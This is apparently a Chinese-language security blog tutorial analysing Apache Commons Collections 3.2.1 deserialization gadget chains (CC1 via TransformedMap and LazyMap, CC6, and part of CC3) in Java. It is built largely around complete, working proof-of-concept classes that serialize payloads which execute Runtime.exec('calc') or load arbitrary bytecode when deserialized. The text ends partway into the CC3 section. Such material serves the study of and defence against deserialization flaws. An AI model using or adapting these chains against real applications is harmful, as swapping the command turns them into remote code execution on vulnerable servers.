Commons-Collections反序列化
Java反序列化漏洞
Commons Collections
Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons Collections的版本是3.2.1,版本过高就无法调试;还有一点就是Commons Collections其实有俩条利用链,lazymap和transformeredmap。现在网上流行的都是对transformeredmap的分析,就是因为它比较简单利用
关于高版本的jdk调用链其实还有办法
小白可能遇到的问题
作者是一个小白,第一次挖Commons-Collections1这一条链子,遇到了一些困难。在这里做一下标记,希望能够帮助小伙伴们解决相同的问题。
-
寻找jdk版本:Commons-Collections1使用的jdk版本必须是jdk1.8.0_8u71以下,所以我们要适配该版本以下的版本。网上我找了半天没有找到符合要求的jdk,最后看了这位师傅的博客Oracle jdk old release 历史版本下载找到了正确的版本。jdk要下载JDK(JAVA Developpment Kit)
-
关于windows电脑放入多个jdk的问题:因为我们经常使用不同的jdk版本,解决方法是比如说jdk1.7先在虚拟机中安装好,然后将jdk1.7拷贝出来放到主机的java的jdk目录下
-
JDk源码问题:在Oracle JDK中下载的JDK未必包含我们所需要的部分源码,比如说sun包下的源码就不包含。这就导致我们在调试的时候不方便,所以我们需要在openjdk中下载比较接近Oracle JDK版本的源码。这里提供一个CC1链需要的sun包源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
-
IDEA中导入JDK源码:这个就直接看网上的教程了,
-
IDEA调试的快捷键:
- 查看接口的继承子类:ctrl+H
- 查看方法可以被哪里调用:右键选择FindUsages
知识补充:jdk中的包
- java.*
JavaSE的标准库,是java标准的一部分,是对外承诺的java开发接口,通常要保持向后兼容,一般不会轻易修改。包括其他厂家(IBMJDK/HPJDK/OpenJDK)在内,所有jdk的实现,在java.*上都是一样的。 - javax.*
也是java标准的一部分,但是没有包含在标准库中,一般属于标准库的扩展。通常属于某个特定领域,不是一般性的api。
此上两者都属于java标准库,公有的API,遵循java平台规范,
- com.sun.*
是sun的hotspot虚拟机中java.* 和javax.*的实现类。因为包含在rt中,所以我们也可以调用。但是因为不是sun对外公开承诺的接口,所以根据根据实现的需要随时增减,因此在不同版本的hotspot中可能是不同的,而且在其他的jdk实现中是没有的,调用这些类,可能不会向后兼容,所以一般不推荐使用。 - org.*
是由企业或者组织提供的java类库,大部分不是sun公司提供的,同com.sun.*,不具备向后兼容性,会根据需要随时增减。其中比较常用的是w3c提供的对XML、网页、服务器的类和接口 - sun.*包:
1、不是API公开接口的一部分,调用sun包的程序并不能确保工作在所有Java平台上,不同的操作系统中的实现可能不相同。
2、不同的jdk版本sun包中的类也可能不定期的变化,因此sun.*包中的类没有提供API文档及源码。
白日梦组长的利用链导图
最后还有一些利用链没贴
p神知识星球里一位师傅对CC链的整理
CC1-TransformMap
版本限制:
jdk版本:低于jdk1.8.0_8u71
commons-collections
版本:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
环境配置
我们需要做的工作是下载一个版本低于jdk1.8.0_8u71的jdk,然后在IDEA中新键一个maven项目(不需要配置javaweb项目)。在项目中的pom.xml中进行导入commons-collections的包。
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
然后我们需要在IDEA中配置jdk的版本,我这里配置的是jdk1.8.0_8u65.
利用链分析
java反序列化漏洞的入口类重写了readObject(),然后通过readObject()方法中调用了其他类的方法,以此类推最后可以执行我们的Runtime类的exec危险方法。分析过程我们从执行Runtime类的exec()方法和InvokeTransformerhander反向分析,最后得出完整的整条利用链。
InvokeTransformerhander
InvokerTransformerHander类中的transform方法是一个危险的方法,分析一下它的方法内容,不难发现是用反射来执行一个方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
用UsagesFind找一下哪里可以调用这个类的transform方法。TransformedMap类的checkSetValue能够调用InvokeTransformerhander的transform方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
继续UsagesFind寻找,AbstractInputCheckedMapDecoator类的setValue()可以调用这个方法
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
而AnnoationInvocationHander类的readObject方法里面可以调用setvalue方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因为AnnoationInvocationHander类的构造方法是default,所以我们需要利用反射来构造该类的对象。这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。
Transformer invokerTransformer
= InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(hashMap,null,invokerTransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.newInstance(Override.class,transformedMap);
按照上面的思路最后就构造出来这条链子了,但是它是无法进行序列化的。
- Runtime这个类没有继承Serializable,无法序列化
- AnnotationInvocationHandler的readObject方法的俩个if判断以及最后的可控参数setValue()
Runtime类反射
Runtime无法序列化,但是我们知道它的Class类对象是可以序列化的,那么就需要将Runtime命令执行利用反射写出来
Class clazz0 = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
Object calc = getexecmethod.invoke(runtime,"calc");
但是如果把它放在InvokerTransformer的getInstance中能实现吗?不能实现。但是Commons-Collections框架中有一个ChainedTransformer类transformer方法可以循环利用反射调用方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
可以利用它来做加强版的“InvokeTransformer”,而且它的构造方法也比较简单
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
所以我们直接构造一个InvokerTransformer数组
Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);
Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);
但是需要注意一点这里ChainedTransformer的transformer方法的object参数必须是一个承接一个,所以我们最后优化后的是:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
setValue参数
我们需要绕过俩个if,因为涉及到注解的一些知识,这里直接给出条件
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 被 TransformedMap修饰的Map中必须有一个键名为X的元素
这里选择Target注解,所以键名是value
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}
这个问题解决完以后,还有就是setValue()方法的参数。它的参数其实是不可控的,Debug调试一下,当我们走到ChainedTransformer的transform方法时,看到的第一个Object参数,永远不可控。
但是Commons-Collections有一个类是ConstantTransformer,它的transformer参数无论接受什么都会返回iConstant。这对我们来说非常好,并且iConstant参数极其易控制
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
所以我们最后构造的Transform数组是:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
整体的思路:
AnnotationInvocationHandler.readObject()
-TransformedMap.checkSetValue()
-ChainedTransformer.transform()
-ConstantTransformer()
Runtime.class
-InvokerTransformer()
clazz.getDeclaredMethod()
-InvokerTransformer()
method.invoke()
-InvokerTransformer()
runtime.exec()
整理一下,最后完整的POC是:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.Class;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void main(String[] args) throws Exception {
// Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
// Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
// clazzDeclaredConstructor.newInstance(Override.class,transformedMap);
// Class clazz0 = Class.forName("java.lang.Runtime");
// Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
// Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
// Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
// Object calc = getexecmethod.invoke(runtime,"calc");
// Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
// Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);
// Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);
//
// must change
// Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedtransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object o = clazzDeclaredConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unerialize("CC1.ser");
}
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class study {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
CC1-LazyMap
版本限制:
jdk
版本:jdk8u71
以下
commons-collections
版本:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
CC1有俩条链,这一条链后半部分与前面的那条链后半部分相同,区别在于LazyMap替换了TransformedMap,ChainedTransformer的transform方法通过FindUsages查询发现也可以在LazyMap中找到,并且factory也非常好控制
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这一条链涉及到了注解和动态代理的知识,比前一条CC1链难理解,这里直接给出Gadget构造思路(以后再进行补充)
Gadget构造思路:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
LazyMap的利用链:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC12 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC12.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unerialize("CC12.ser");
}
}
CC6-最好的链
版本限制:
jdk版本限制:jdk7和jdk8不受限制
commons-collections
:对commons-collections
版本限制不大
在前面说了分析了CommonsCollections1这个利⽤链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利⽤链不能再利⽤了,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。也因为这一次改变导致整个在AnnotationInvocationHandler做为入口类的链都不能用了。CC6这一条链是ysoserial里常用的一条链,该利用链可以在java 7和8的高版本触发,没有版本限制,说实话其实CC6也不会受Commons-Collections的版本限制
这一条链还是调用了CC1的LazyMap开始的后半部分,我们从后面开始分析。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
如果有个函数的方法可以调用LazyMap的get方法就可以实现漏洞利用,于是我们找到了TiedMapEntry类的hashCode方法,hashCode方法可以调用getValue()方法,getValue()则会调用get方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}
通过寻找我们发现HashMap的readObject()方法调用了hash方法而hash方法里又可以调用TiedMapEntry的hashCode方法,这就很方便了。同时你如果知道URLDNS的话,会发现其中我们需要做一些处理(规避)。
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,123);
}
如果我们仅仅是将其这样设计,发现它直接就会弹计算器,如果我们跟进hashMap0.put()会发现它会调用lazyMap的hashCode(),所以会调用计算器,所以我们要规避处理。想办法让它不弹出计算器,通过反射改变链的随便一部分都可以,因为我们有ConstantTransformer
。这里我们让LazyMap的decorate先修饰ConstantTransformer,最后通过反射来更改它为Chainedtransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedtransformer);
//serialize(hashMap0);
unerialize("CC6.ser");
但是又有一个新的问题,反序列化依然无法弹出计算器。什么原因呢?这一次的问题出现在lazymap的get方法处,这里还是承接了hashMap0.put()
带来的影响,详细变化如下:
hashMap0.put()--hashMap0.hash()--TiedMapEntry.hashCode()--TiedMapEntry.getvalue()--LazyMap.get(templatesImpl)--hashMap.containsKey(templatesImpl)--hashMap.put(templatesImpl,)
这样的话hashMap的key中就会在反序列化之前提前有templatesImpl,真正反序列化的时候if (map.containsKey(key) == false)
就会判断为真,链子将无法执行。
public Object get(Object key) {
// create value for key if key is not currently in the map
// 如果传入的key不在当前修饰的map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); // <---问题原因
return value;
}
return map.get(key);
}
当我们准备序列化时,走到lazyMap的get()方法时if条件判断为真就会走入get()方法,然后当反序列化的时候map的key已经存在了if判断条件为假就不会再执行if的部分了
所以说我们要在反序列化之前把key值消掉,HashMap的remove()方法可以去掉HashMap的key值所以最后整理的代码是这样:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
hashMap.remove(123);
serialize(hashMap0);
这样就可以成功在反序列化的时候成功弹出计算器了,
整理思路
--HashMap.readObject()
--HashMap.hash()
--TiedMapEntry.hashCode()
--TiedMapEntry.getValue()
--LazyMap.get()
--ChainedTransformer().transform()
--ConstantTransformer().transform()
--InvokerTransformer.transform()
--InvokerTransformer.transform()
--InvokerTransformer.transform()
最后真正的Poc如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC6 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
hashMap.remove(123);
Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedtransformer);
// serialize(hashMap0);
unerialize("CC6.ser");
}
}
最后成功弹出计算器
CC3-代码执行
版本限制:
jdk版本:依旧编写方式而定
commons-collections
:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
解释一下这里为什么说jdk版本要按照编写方式而定:CC3本质上只是更改了ChainedTransformer内部的类,把命令执行更换成了代码执行,前面的部分没有发生变化,所以说如果按照CC1的方式写会限制jdk的版本在jdk8u71以下,而按照CC3的方式写就没有jdk7和8版本的限制。
ysoserial
中的CC3链与前面说的CC1和CC2以及CC6不同,前面的是命令执行,而这一条链则是代码执行。CC3这一条链使用的是动态类加载(动态加载字节码)的方式,我们利用动态类加载的加载器是java.lang.ClassLoader
,使用这一类加载器会顺序执行3个方法来进行类加载:loadClass()
,findClass()
,defineClass()
但是由于java.lang.ClassLoader
类的defineClass()
方法是protected
的,所以我们需要寻找重写defineClass()
且作用域是public
的类,这里我们找到的是TemplateImpl
类,
CC3-方式1
CC3的前半部分是CC1(ysoserial
)readObject()
至InvokerTransformer
,后半段是TemplateImpl
类加载利用链;这条利用链的动态类加载部分在《java反序列化漏洞入门篇》有过记录;这条链的前半部分就是CC1的前半部分。
整体思路:
--ObjectInputStream.readObject()
--AnnotationInvocationHandler.readObject()
--Map(Proxy).entrySet()
--AnnotationInvocationHandler.invoke()
--LazyMap.get()
--ChainedTransformer.transform()
--ConstantTransformer.transform()
--InvokerTransformer.transform()
--method.invoke()
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()
完整的POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes",new byte[][]{code});
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),
//利用InvokerTransformer的反射机制调用templates的newTransformer方法
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);
//serialize(o);
unerialize("CC6.ser");
}
执行结果:
CC3-方式2(ysoserial)
ysoserial
